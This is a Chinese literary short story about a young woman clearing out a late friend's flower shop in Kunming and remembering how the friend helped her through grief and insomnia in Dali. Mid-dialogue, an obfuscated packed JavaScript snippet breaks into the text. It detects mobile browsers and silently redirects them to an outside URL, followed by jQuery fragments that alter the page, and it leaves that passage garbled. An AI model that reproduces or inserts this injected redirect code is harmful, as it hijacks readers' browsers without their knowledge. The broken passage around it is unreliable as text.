01 浪来了，就跟着荡一荡
孙杭樱买了一碗很大的面，摆在面前，比脸还大两圈。这是她常去的一家面馆，周边几家的米线店，就它开得最火红。来自文山的细米线和墨江的红米干，每两天运送一次，汤底也很新鲜。嘴很叼的老人家也在这里松了口，常常来吃。
孙杭樱选的反而是北方的宽鸡蛋面。她平时很少吃面，最常吃的是好消化的红米干。压得又宽又实的宽鸡蛋面，不是她口味上和肠胃上最爱的，但最抗饿，可以帮自己长点力气。这几年，孙杭樱来店里吃过无数次饭，但鸡蛋宽面只点过两次。
一次，是半年前的某一天，送别完黄姐之后。
一次，是今天，她好好首饰了黄姐的店，打算把少量植物出清，待休整后重开。
吃完这碗面，孙杭樱就要和二更相遇了。
和孙杭樱遇见，对二更来说，只是或早或晚的事。
黄姐的花店，杞记，在二更回家时常经过的一条老街。
这是一片老社区，道路总是弯弯曲曲，气氛却生机勃勃的。本地食客养红的凹糟馆子、十几年旧照片挂满墙的小照相馆、卖中药汤锅、泡酒罐子的拐角陶器店、收纳着周围十几栋老楼任何一家偶尔可能需要的螺丝钉、螺丝帽和垫片的五金店，都在这里星点式的散步，长久地开着。偶尔，其间夹杂着一家修脚店或是修表店，都不会让人觉得怪异。毕竟，这就是生活。这里有日常生活犄角旮旯各种需求的答案，别处找不到的，这里会有。
二更最初走到这里，是为了找一家能把衣服改小的裁缝铺。走了两、三个街区，终于在这里找到了一家裁缝铺子。严格来说，这只是一家露天出摊的缝纫机小摊位，小小的缝纫机顶着一棵高大的梧桐树，从容地夹在一家开锁店和一家烟酒回收店中间的小角落里，并不起眼，却很实用，像五金店那些密密麻麻小抽屉里某一颗你恰好需要的螺丝。
附近，还有两三家大小不一的农贸市场。二更有次傍晚七点半左右经过这条街回家。大约是哪家香料店正好在此时进货，整条街都是孜然的味道。一家店平时只卖南瓜和冬瓜两类瓜的店面，门口停着货车，正在卸货。一个大汉站在货车上，用粗壮的双臂和娴熟的技术，一个接一个地往店里抛瓜，店门口也站着一个细瘦的男子，看起来很什么肌肉，竟也能一个接一个地稳稳接住，只是他需要一只蹲着马步，稳住下盘。两人之间冬瓜划过的线条，是二更这几年看过的最有力量感的抛物线。不远处，一家桶装水店的店员们也很有智慧，两、三块长条木板，按照杠杆原理搭好，在晕水桶的货车与仓库之间形成一道跷跷板式的桥梁。运水桶的货车卸货时，水桶先从货车上因重力滚下，顺着跷跷板，一路先下落，最低点后自己上爬，到某个它自己会停的点，店员再推一把，它就能乖乖滚到仓库了。所有的普通人在这条街上，日复一日地生活，匆匆忙忙红红火火，带着诚恳生活的信念，也带着唯手熟尔的巧劲儿。这是很可爱的画面。
给这片社区增加另一种优雅的地方，是杞记所在的一条花市街。
这是昆明市区里的一处中等规模的花市。不同于更知名的亚洲第一鲜切花市场斗南花市，这里的鲜花市场更为日常，少有游客，是专供本地买家的盆栽和鲜切花。是市，也是街。市场里面是近百家盆栽花铺子，外面三、四公里的长街则排布着几十家鲜切花店和花艺店，侧重兜售礼品花束和花艺制品，因此被人们叫成“花市街”。这些花店的名字，大都简洁朴实，很少有刻意吸引眼球的，或那种平日里叫不出口的小说名字。它们更像上世纪70、80后取名常用的名字，诸如张超花店，王勇花店，温馨花店，给人一种很踏实的第一印象。
由于花市街更靠近市中心，鲜花市场有什么流行的吸引年轻买家的新招式，这里总是最新出现。比如，将大红色的红掌喷上马卡龙色系的花艺用漆，让它变成青苹果绿或是浅紫色的一棵心，质就从喜庆变成了文艺。或是用流行的漆扇技艺，对白色、浅色的蝴蝶兰花朵进行挑染，使花朵颜色迷离，更具独特的观赏性。再或者，改变传统的花束包扎形式，增加古风或者卡通等元素。每个店铺外都放着两排三、四层的花架，店主们把自己的作品摆在上面，各显神通。
二更第一次来花市街，恰逢蓝花楹盛开的季节，这里并不是游客们拍照打卡的热门地点，花，不开在游客的相机里，而是掉落在普通花店的花束上，给成品花束增加一点紫色；落在停车的挡风玻璃前，隔着玻璃给车内的小仙女摆件穿了一件裙子；落在遛弯的斗牛犬头上，主人和它都不着急抖落；落在一旁米线店的小桌上，人们头顶着蓝花楹甩碗米线。它也会落在垂垂老矣的老人头顶上，为老人的余生制造一丝意外的美好和生计。花市街的浪漫，不矫情也不小资。
然而突如其来一场雨，二更连忙躲雨。
她找了一家门外有雨蓬的花店。女老板没赶她走，还拉出来个小凳子，让她坐一坐。女人在雨蓬两角下放了两个桶，接雨水。再然后，她把店里自己养的花花草草搬出来，让小雨淋一会儿。中途，雨势变大，在它打伤叶子花朵之前，她又及时地挪了回去。如此折腾了半个小时，雨才渐渐停了。
二更临走时，女人仍弯着腰在收拾花。她留着中短烫发，浅棕色，扎起来，像大熊猫屁股上的小尾巴。二更始终没有看清她的脸，只觉她身材匀称，动作利落。二更道谢时，女人也忙着，只是用很欢快的语气说，下次再来！
她抬头看看店名：杞记。
之后，二更偶尔会来店里买买花。她自己住，家里不热闹，遇到一些清冷的事时就要自己承担，所以她觉得不必再多增一些清冷的小事，比如，很好看的花慢慢凋落。于是，买花总买花期最长的那种，它们通常不是最好看的，都是些生命力顽强的草花。
杞记在这条街的花店里不算小，有两间门面，店摆出来的花束总有些特别。杞老板的花束总是带着一种奇妙的氛围感。具体很难形容，那大概是....和太阳有一点关系的样子。花儿们像带了日出时刻或日落时分的滤镜，植物们本身的颜色向着太阳又跨出了一步之后的色彩。二更也渐渐看清了杞老板的样子。她五十多岁，长相清秀，喜欢穿白色、浅黄色的衣服，麻的、棉的材质，看起来整个人很放松，也让人感到亲切。
今天，杞老板花店看上去有点奇怪，门开着，门前没有摆花束。二更探头往室内看，花架、花器还在，但橱柜、桌椅似乎在进行乾坤大挪移，与平常大不相同。鲜切花并不多，应该没有新进货，只有一个花架上的花瓶里，插着几只成熟了的石榴，比日常食用的大石榴个头小了一半，却更鲜红，应该也是前段日子的进货。鲜花少了，往日常被忽略的盆栽植物就现了身，几十盆大小不一的植物，零零散散地放在一边，状态都不错。
一个二十多岁的女孩子，拎着浇水壶从后门走进了店里。她在工作，没看见二更站在前门门口。女孩进屋后一直轻声低语。二更意识到，女孩没跟自己讲话，那是在？女孩在问盆栽植物，“要不要给你浇水？”“今天有没有很渴？”“今天的太阳会不会太晒？”，一边和植物们说话，一边选择性地浇水，时不时，她会躲开一两盆，偶尔还会轻轻用脚逗一逗某一盆花。这个穿着简单的牛仔裤和宽松天蓝色衬衫的女孩，未经任何扮相，此刻也像个魔法主题动画电影里的精灵。而且，很偶然地，二更也被拉拢进了这部电影里。
二更觉得很有趣，她静静地看着女孩。女孩却突然停住了。脚下不知道什么时候，踩到一颗很小的石头，常被混在混合土里的增加透气性的小石头。女孩被硌到了，后退一步，捡起来，对着那颗乳白色的小石头看了很久，很专注。
一瞬间，结界破了。女孩发觉了二更的存在。
她不是很意外，花店还开着，时不时会有客人进来看看。“鲜切花在出清。您需要吗？有折扣。”
二更觉察到，女孩的眼中彷佛带着感伤。那原本应该是一双细细长长，笑起来像一道温柔的桥的眼睛。“是换老板了吗？”二更问。
“不，黄姐，她走了”，女孩语气很平静，像一片平静的湖泊。
经历过至亲离开的人，认得这种藏着很深的湖泊。二更没再说话。
女孩轻微地抽了一下鼻子，解释道，“家族病，去世了，没有控制住。”然后，她沉默了。
说抱歉有些无力，对一个陌生人强行安慰也不合适，二更没说话，也没有动。她想靠近，又怕太冒昧，索性慢慢挪动了几步，走近了那一排在折扣出清的鲜花。月季、洋桔梗的状态都还不错，只是多开了一个度。买回家后，要早丢一两天。
“盆栽也可以出清”，女孩说。“店会先暂时关闭两三个月，调整后，再重新开放。”
以前在门口路过，总觉得花店里满满当当，原来主人一走，这里会一下子空荡荡，彷佛她带走了一个世界。在空荡之中，一棵柠檬树显得尤其显眼。它很高，大约有一米八了。叶子油亮，花含苞，青色香水柠檬果挂在枝头，不多，三五颗，每一颗都雄赳赳，气昂昂的，炫耀着它已经跨越了光辉的成长历程。二更感受到了，那是被爱意养大才会有的骄傲，每一颗果子都像自信爱笑的孩子。
见二更对柠檬树感兴趣，女孩说，“我第一次见杞老板的时候，她正在给这棵柠檬树浇水。那时，它没有这么高，也就一米六吧。”女孩用手比照起来高度，像在给一个小孩子比身高。“她当时掀起来盖在树上的头纱，给叶子喷水，像给新娘子掀盖头。她从头纱里探出头来时，刚好看见我在看她和柠檬树，不好意思地笑，露出一颗小虎牙。”
小虎牙？像刚才的那颗小石头那样吗？原来如此，女孩是因为这个才愣住的。
那一日的夕阳下，一个女人给披着婚纱的一棵树浇水，画面很美。那颗小虎牙在夕阳的柔光里，像一颗俏皮的星。孙杭樱觉得，那个画面是她这几年看过的最美好的画面。它充满光明，带着香气。不恰当地说，像是谁忽然来了，一下子把攒在她身体里很久的一条黑色的虾线抽掉了，她变得很洁白。
“为什么要给树盖头纱呢？”二更问。
是啊，为什么要给树盖头纱？三年前，在大理洱海边，不算热闹的湿地边，一座民宿小院子里，孙杭樱也是这样问黄杞的。
三年前，洱海边上。
母亲病重去世后，孙杭樱外出散心。她选了洱海边人最少的一块湿地。高铁站旅行社塞给她一张纸质地图，她把当时网上搜能出来的前四、五页提到的位置都划掉，从剩下的几块清净区域里，找了个有派出所在附近的最安全的地方。
杞老板当时是那里一家民宿的老板。她的小院子里常有流浪猫、隔壁人家的猫咪来玩。柠檬树养得好，爱开花，她怕花粉呛到小猫，就给它盖了一个蕾丝的盖头，那种妈妈们会盖空调、盖冰箱的蕾丝薄纱。柠檬树是爱渴水的，两、三天就要交一次，叶子上最好也喷喷水。每次喷水的时候，她就掀开头纱，还要夸一夸柠檬树，“你长得很好看”“又长新叶子了”。
孙杭樱走进那个小院子，是因为一股栀子花香。
那是一个夏天，天很凉爽。一连几天，只在下午，下一点点雨。点卯似的，来了就走。按理说，这样的天气不冷不热，是很舒适的。但孙杭樱很怕冷，稍微一点雨就要把自己裹起来。她衣服穿得少，赶着那一点点雨，走进了小院子里。
黄杞正在院子里忙，见有来人，她起身的动作有点慢，像猫咪转头，黄杞看她，看得有些仔细，但不是敌意的打量，而是一只动物睁大眼去看一个她觉得还不错的新人类。孙杭樱有些不好意思，脚步也停下了。
黄杞喊她进来喝茶。热茶，此外，黄杞还拿了一个小小的暖水袋，一个小小的鸟笼样子的取暖器。这是夏天，黄杞也没多问什么，就准备好了这些。她说，“觉得你凉。”
并不十分冷的天气里，孙杭樱不知道一个人要如何从另一个人的脸上身上看出来凉。她那时一定很狼狈。但她听了，有一点暖。
那天，她是这间三层楼小院为数不多的客人之一。她抱着一杯热姜茶坐在门檐下，坐了一下午，背包都没有拿进去。
院子里有很多植物，那天下午的雨，也巧，下得比往日更大，更久。雨水先从高大的香樟上，落到海芋，再是龟背竹，再是栀子花、常春藤、波士顿蕨和凤尾蕨。雨水把所有植物的叶子擦得更亮，栀子又给所有的叶子渡上了一层被雨萃取后的清香。
安顿好女孩后，黄杞又回院子里翻土。院里新买了一些花，虎皮兰，蓝雪花，她打算种在院子角落里。雨下着，土表湿润，这时候种下刚好。在手中热茶、身边小鸟笼带来的多股暖意中，孙杭樱看黄杞挖坑、翻土、填满，她不禁在脑海中把伤心事也翻出来，又挖个坑，再埋掉。黄杞反复了多少次，她就在心中反复了多少次。悲伤，一次次地得到了安抚。
休息时，黄杞过来喝茶，孙杭樱掏出来包里的药，是一些肠胃药、舒缓焦虑的药，以及医生开的少量安眠药物。那段时间，她的状态很差，连日的失眠加重了焦虑情绪，并导致了肠胃问题，时常止不住呕吐，她因此去看了精神科医生。孙杭樱拿出来药盒，想告诉黄杞，她不会做什么危险的事情，只是得按时吃药，调理身体状态。她可能看起来状态有些差，但已经是正常可控的范围了，偶发看起来很呆滞，也没什么。她甚至下一步都要翻包找出来病历。她不想给这个好心的店主添麻烦，如果对方赶她，她会乖乖低走，打个车去古城人多的地方找家酒店。
黄杞拿着药盒仔细看了一眼，只说，“你看，这个药盒的包装是蓝天白云。我们这里真有这样的天空，等待会儿云散一散，你就能看见了。明天，我带去出去看，更美。”
孙杭樱从没想过会有人这么“解读”药盒。她一时感动得说不出话来。
“你睡眠不太好啊？”黄杞询问的语气依旧很平和，“我呢，过去也是，我有一些办法，你试一试。”
黄杞说，自己属蛇。睡不着的时候，她就想象自己是一条蛇，游到岸边树林去晒月亮，不问世事，在月光下温柔蜷缩着。或者，变猫，像院子里的流浪猫在花架下睡觉，用脚丫子一上一下地打拍子。猫做这个动作时有秘诀，秘诀就是 - - 没有任何规律，放弃人类的节奏感。她也这样，不考虑人的任何事情。天热时，猫在紫藤花架下翻肚皮，四脚朝天睡，她也学着办。总之，想变什么动物都可以，重要的是，把做人的苦恼在晚上收一收，锁起来，不去想。把那些悬而未决、无法自控的事放一放，也放过自己，先保证每天都能睡个好觉。
黄杞说，大多数动物都比人类更会睡觉，所以变成动物的人，更容易入眠。人的烦恼恰恰来自于太会做人了，做个左右逢源的人、有钱人、成熟的人、被人喜欢的人。这当然好，但也会带来烦恼，于是大家需要走神。失眠、无助、迷茫、寂寞时，做人难过，做棵树或做个小狗，就好受多了。
黄杞说这些的时候，就坐在孙杭樱身边，在缝一只坏掉的玩偶。那是上次来住客人带来的玩具，一只被同行的大金毛咬坏了的玩具，已经开了线。大金毛走了，主人留下玩具，没有带走。黄杞舍不得丢，用小苏打和消毒剂洗干净，缝一缝，还是一只很可爱的小兔子。可以拿给院子里的猫咪玩。孙杭樱在旁边看她缝缝补补，感觉玩偶又活了，她也在“活着”，具体的活着。活着，在一针一线之间，在缝缝补补之间，是一个很具体的动词。
“人啊，不开心、开心，都是情绪，你得习惯，迎来送往。你要学着，不和它们一起住，尤其是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294823|198549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，一起睡”，黄杞说。
孙杭樱第一次听这种说话，和情绪分开住，不要一起睡。她睁大眼睛看着黄杞，彷佛在很认真地回味着她刚才说的话，像课堂里最认真但缺点灵感的学生，把黄杞逗笑了。
“这不难啊。你就说，楼上那几间房子吧。你可以想象，你自己住一个屋，你的情绪和感受住另一个屋，如果还有什么其他的，比如过度的兴奋啊，那些好的情绪，也单独拎出来，住隔壁那个屋。”黄杞笑着解释说，“没那么复杂，你看着它们，就会了。人就是这样，得心大，容得下，但是，也得分得开，光容得下，但都混着了，也不好。你还是睡不着，身上还是重。人得轻。
所以我说，把自己想象成别的，做人很难甩掉情绪，但做做其他的，就好甩掉了。你也可以把自己当看海，海有潮汐，起起伏伏的，不可能永远平静。大理的洱海，你站高一点看，也像一片海。哦对了，它叫海，但不是海，是高原湖泊。不过大理风大，浪被风吹起来的时候，就很像海潮。你来了大理，就跟着它学一学，浪来了，就跟着荡一荡，允许它来，允许它走。如果不走，你又暂时离不了，就要学着和它分居，分开睡。这样，慢慢就能睡着，人慢慢就好了。”
休息够了，黄杞还要接着栽花。这次，见孙杭樱身上暖一些了，她喊她一起，把几棵蓝雪花种在墙边。这种植物在日光充足的地方很好养活，只是容易倒伏，种在墙边，用架子固定，它只需要一个夏天就能爬到半墙高。
孙杭樱戴上长袖手套，拿起小铲子开始翻土。这次，是真的翻土了。她脑海中又开始浮现一些母亲去世前后的画面，埋土的时候，她试着将过去的记忆一一埋掉。黄杞说的“分居”，启发了她。她在心中默念，将这些悲伤和思念埋在地下，和她分开，试试看。黄杞会时不时过来看看她，指导她下一步该如何做。黄杞不经意间微笑时露出来的虎牙，像是一种很静的夜里亮起来的萤火虫，带领她走向一个很安全的地方。花草间有小虫，爬到了黄杞的衣服上。只有一只。黄杞没有打，而是轻轻地把小虫抖到了地上。
那晚，或许是因为帮工劳累，孙杭樱睡得还不错。住了三五天，黄杞如约，带她去看了美丽的景色，甚至还拉着她去村子的后山上找了好看的野生锦鸡。后来，她时常会去大理，越过景区，直接去黄杞的院子里住。没过多久，她需要的安眠与胃药药量就越来越少了。医生问她，最近有什么好事情。她说，遇到了一个很好的人，教了她如何和情绪分居。她的眼神很亮，像萤火虫，像杞老板笑起来的那颗虎牙。“分居？”医生第一次没有听懂，又问了一遍，又在口中反复念了几次，忽然哈哈大笑起来。“真是个很妙的比喻啊！”，医生感慨。女医生已婚，因老公打鼾、翻身、体味太重等原因，几年前就和老公分房睡了。分了房，日子还能过下去。“你好像遇到了一个很厉害的人呢”，她恭喜女孩。
每次去小院住，孙杭樱都很兴奋地把新的药量告诉黄杞，告诉她，自己又好了一些。黄杞也接纳了她这个奇怪的习惯。孙杭樱觉得，药盒给黄杞看过，这药就开了光，就会对她管用。为了表示感谢，她每次去都会带点别的盒子，香薰礼盒、茶业礼盒。无论来得时候多开心，她住上二楼小屋的时候，都记得黄杞那句话，和情绪分开住。于是，把好的坏的都放在隔壁屋，自己一身轻松，推开门，好好睡个觉。
第四次去，大概是半年之后了。孙杭樱问杞老板，可不可以在这里打个工？再过一段时间，她就要再去昆明，去一家专业的寄宿式复读学校好好补课，争取参加下一次高考了。
孙杭樱这段打工经历，赶上了大理的旅游旺季。由于旅游业一步步渐涨，黄杞所在的这片区域也热闹起来。那一阵子，大理多阵雨，住客们在院子里放了密密麻麻五颜六色的伞，给阴沉的天气强行加入了亮色。黄杞院子里的住客们都是女孩子，孙杭樱觉得很自在。她每天8点多起来都很忙，整理床铺，打扫卫生，收拾院子，忙完了，一般都已过11点了。这时，她和黄杞就坐在天井里，闲着发呆。吃过午饭，有时睡个午觉，有时不需要。下午还是有些整理的事务，忙完，院子里新种的晚饭花就开了，该吃饭了。晚饭，黄杞会做得多一些，赶上恰好在的客人，大家会一起吃。也会留一些，给夜归的女孩子们当宵夜。
为了做顿好吃的饭，下午三点，孙杭樱就得和黄杞去街上买菜。偶尔，她们带回来一些在云南并不稀罕的小水果，给女孩子们尝一尝，比如释迦、仙人掌果、滇橄榄、酸角、羊奶果。院子里面新搭了个架子，黄杞种下了百香果。搭架子时，一同帮忙的客人一直说，结果子了，要来吃。
傍晚比较闲，她们就结伴去距离古城有段距离的老街上转转。黄杞又教了她新的一招：放气球。散步时，可以买一只气球，走到半路，情绪差不多了，可以放走，或者系在哪里，或者随便送给喜欢气球的人。她们还会一起用院子里的洋茉莉染指甲。黄杞说，植物一直在生长，就像人的指甲。隔两周，她就喊孙杭樱剪指甲，她用这种方式告诉孙杭樱，日子在往前走。
孙杭樱重返校园之前，黄杞给了她几个礼物。一盘老式香膏，圆盘盒子，需要旋转打开，带一层锡纸。她叮嘱孙杭樱，锡纸要一点点撕开，用完了再撕。睡前涂一些在手上、耳后、脖子、额头，可以助眠。栀子香，是孙杭樱第一次来院子里闻到的香气。可以把涂它当成一个仪式，只有告别了一天各种情绪，把它们赶到隔壁屋子里去时，才可以用它。此外，还有一些泡水喝的花茶，玫瑰、菊花，以及院子里椿树上攒下来的香椿子，嘱咐说，躁了烦了，泡水喝，清热。
最后一天，黄杞带着孙杭樱买了十个气球，两人走在路上，像一对卖气球的母女。她们打算沿着洱海的栈道一直走，走一段，放走一只。结果路上一直被偶尔碰到的游客问，干脆就卖，一路上卖了六个。剩下四只，对着夕阳，一人放走一只，又各自在树上栓了一只，留给不知名的谁。
当二更沉浸在孙杭樱讲述的往事中时，“叮”的一声，杞记门上的一只铜铃想了，铃声把两人拉回到花店里。
来人是一位个子很高的男士，看花？看盆栽？来人踱步，似乎觉得走错了地方。孙杭樱尚未来得及搭话，来人就走了出去。
二更看那只摇晃着的高高的风铃，似乎也是大理、丽江一带常见的祈福风铃，或许，就是黄杞从大理带来的。“那这棵柠檬树，也是从大理挪过来的？”二更问。
“对，她租了一辆大货车。货车里有两个行李箱，两个包，她，和我，剩下的就是一大堆植物了。”女孩回忆道。她又一次认真地打量这棵高高大大的柠檬树。整个树冠的姿态如博山炉一样，向上走，向上长，健康且昂扬。她眼中满是怜爱。“要的话，这棵给你。需要付一些钱，因为白送的话，我怕人不珍惜。柠檬树很渴水，在店面休整重装期间，我觉得，还是给它找一个家，日日被照料着，最好。”
看着油亮的柠檬树，二更想起来，自己曾养过三棵柠檬树，最后因为搬家，都没有留在自己手中。其中一棵，因她出差，因缺水英年早逝了。另一棵命最好，被一位好心女孩接手。她开着新车，跑了大半个城市来接亲。柠檬树是一种性格特别决绝的植物，喝不到水，就告别很彻底，离开了，就再不回来。二更怕她依然不能把它照顾好，尤其是像如今这样好。
“如果明天你还在，我可不可以带另一个女孩过来。她家，一定可以让这棵树好好地继续长高。”
“好。”女孩走到柠檬树前，摘下了最大的一颗果子，递给二更。二更接过，放在手心，柠檬果子有些大，她勉强能握住。手心里，开始生出隐隐的清香。
“这个柠檬树，好像很喜欢你”，女孩看着她很欣慰地说，“你没有闻到，它更香了吗？”